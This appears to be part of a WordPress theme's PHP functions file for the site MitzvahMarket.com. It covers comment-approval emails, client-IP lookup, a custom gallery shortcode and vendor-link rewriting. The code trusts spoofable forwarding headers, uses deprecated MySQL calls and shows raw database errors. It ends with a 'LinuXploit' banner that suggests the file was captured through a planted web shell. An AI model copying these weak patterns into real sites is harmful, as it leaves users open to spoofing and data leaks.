						'Thank you for visiting <a href="http://www.mitzvahmarket.com">MitzvahMarket.com</a></p>'.
						'</html>' ;

			$pmail_from = '[email protected]';
			$pmail_to["To"] = $comment->comment_author_email;
			$pmail_to["Bcc"] = '[email protected], [email protected]';
			//$pmail_to["Bcc"] = '[email protected]';
			$pmail_subject = 'Thank You From Mitzvah Market';
			$pmail_body = $mail_message;
			
			//$pmail_host = "mail.davlermedia.com";
			$pmail_host = get_cfg_var('SMTP');
			$pmail_username = "";
			$pmail_password = "";
			
			$pmail_headers = array ('From' => $pmail_from,
			'To' => $pmail_to["To"],
			'Subject' => $pmail_subject,
			'MIME-Version' => '1.0',
			'Content-type' => 'text/html; charset=iso-8859-1');
			$smtp = Mail::factory('smtp',
				array ('host' => $pmail_host,
					 //'auth' => true,
					 'auth' => false,
					 'username' => $pmail_username,
					 'password' => $pmail_password
				 ));
			
			$pmail = $smtp->send($pmail_to, $pmail_headers, $pmail_body);
			//**** end mail ****
		endif;
    endif;
}

add_action('comment_unapproved_to_approved', 'comment_approved');


function IsDate($date) {
    return (strtotime($date) !== false);
}

function url_fix ($url)
{
	if (substr(strtolower($url),0,7) != 'http://') :
		$url = 'http://'.$url;
	else :
		$url = $url;
	endif;
	return $url;
}

function curr_page_url() 
{
	if (!isset($_SERVER['REQUEST_URI']))
	{
		$_SERVER['REQUEST_URI'] = substr($_SERVER['PHP_SELF'],0 );
		if (isset($_SERVER['QUERY_STRING'])) 
		{ 
			$_SERVER['REQUEST_URI'].='?'.$_SERVER['QUERY_STRING']; 
		}
	}		
	$page_url = 'http';
	if ($_SERVER["HTTPS"] == "on") 
	{
		$page_url .= "s";
	}
	$page_url .= "://";
	/*
	if ($_SERVER["SERVER_PORT"] != "80") 
	{
		$page_url .= $_SERVER["SERVER_NAME"].":".$_SERVER["SERVER_PORT"].$_SERVER["REQUEST_URI"];
	} 
	else 
	{
		$page_url .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
	}
	*/
	/*
	*/
	$page_url .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
	return $page_url;
}	 

// Function to get the client ip address
function get_client_ip() {
    $ipaddress = '';
    if ($_SERVER['HTTP_CF_CONNECTING_IP'])
        $ipaddress = $_SERVER['HTTP_CF_CONNECTING_IP'];
    else if ($_SERVER['HTTP_CLIENT_IP'])
        $ipaddress = $_SERVER['HTTP_CLIENT_IP'];
    else if($_SERVER['HTTP_X_FORWARDED_FOR'])
        $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];
    else if($_SERVER['HTTP_X_FORWARDED'])
        $ipaddress = $_SERVER['HTTP_X_FORWARDED'];
    else if($_SERVER['HTTP_FORWARDED_FOR'])
        $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];
    else if($_SERVER['HTTP_FORWARDED'])
        $ipaddress = $_SERVER['HTTP_FORWARDED'];
    else if($_SERVER['REMOTE_ADDR'])
        $ipaddress = $_SERVER['REMOTE_ADDR'];
    else
        $ipaddress = 'UNKNOWN';
 
    return $ipaddress;
}
/*
function mitzvah2_enqueue() {
	if (is_singular()) {
		//wp_enqueue_script('jquery');
		wp_enqueue_script('jquery-cycle', get_template_directory_uri() . '/includes/js/jquery.cycle.all.js');
		wp_enqueue_script('post-format-gallery', get_template_directory_uri() . '/includes/js/gallery.js');
	}
}
add_action('the_post', 'mitzvah2_enqueue');
*/

add_action( 'after_setup_theme', 'mitzvah_gallery_setup' );

function mitzvah_gallery_setup() {
   remove_shortcode( 'gallery' );
   add_shortcode( 'gallery', 'mitzvah_gallery' );
}

function mitzvah_gallery( $atts, $content = null ) {
    extract(shortcode_atts(array(
		'size' => 'large',
		'ids' => '0'
    ), $atts));
	//$out = '<div class="divider"><h2><span>'.do_shortcode($content).'</span></h2></div>';
	$out = '<div class="divider"><h2><span>This is custom gallery. '.$ids.'</span></h2></div>';
	//$out = "";
	ob_start();
	include_once( TEMPLATEPATH . '/showcase-photo-gallery.php' );
	$out = ob_get_clean();
    return $out;
}

function mitzvah_img_rotate($ar_images)
{
	$ix = rand(1, count($ar_images)) - 1;
	return $ar_images[$ix];
}

include_once( TEMPLATEPATH . '/simple_html_dom.php' );

add_filter( 'the_content', 'suppress_inactive_vendor_links' );

function suppress_inactive_vendor_links($content) {
	if (is_single() && in_category('family')) :
		$html = str_get_html($content);
		$vendor_flag = false;
		foreach($html->find('a, img') as $e) :
			if ($e->tag == 'img') :
				if (strtolower($e->alt) == "stamp vendor's directory" 
					|| strtolower($e->alt) == "v2stamp_vendor-directory" 
					|| strtolower($e->title) == "stamp vendor's directory" 
					|| strtolower($e->title) == "v2stamp_vendor-directory") :
					$vendor_flag = true;
				endif;
			endif;
			if ($vendor_flag) :
				if (!empty($e->href) && !stripos($e->href, 'mitzvahmarket.com')  && !stripos($e->href, 'mitzvahorganizer.com') && !$e->find('img')) :
					$str_site = '9999999999999999999999999999999999';
					$remove = array('http://','https://');
					$str_site_clean = $e->href;
					$str_site_clean = str_ireplace($remove,'',$str_site_clean);
					if (strpos($str_site_clean,'/') > 0) :
						if (stripos($str_site_clean,'facebook.com') <= 0) :
							$str_site_clean = substr($str_site_clean,0,strpos($str_site_clean,'/'));
						endif;
					endif;
					if (strlen($str_site_clean) >= 6) :
						$str_site = $str_site_clean;
					endif;
					$sql_str = "SELECT * FROM wp_proxi_vendors WHERE website like '%".mysql_real_escape_string($str_site)."%' AND status = 1 ";
					$result = mysql_query($sql_str) or die(mysql_error());
					if (mysql_num_rows($result) > 0) :
						$row = mysql_fetch_object($result);
						$listing_href = get_bloginfo('template_url').'/vendor-single-listing?vid='.$row->post_name;
						$e->href = $listing_href;
						$e->target = '_blank';
						$e->onclick = "vend_clicktrack('".get_bloginfo('template_url')."/', ".$row->ID.", '".$listing_href."', 'family');";
					else :
						$e->outertext = $e->innertext;
					endif;
				endif;
			endif;
		endforeach;
		$content = $html;
		$content .= '';
		$html->clear();
		unset($html);
	endif;
	return $content;
}

?>

Youez - 2016 - github.com/yon3zu
LinuXploit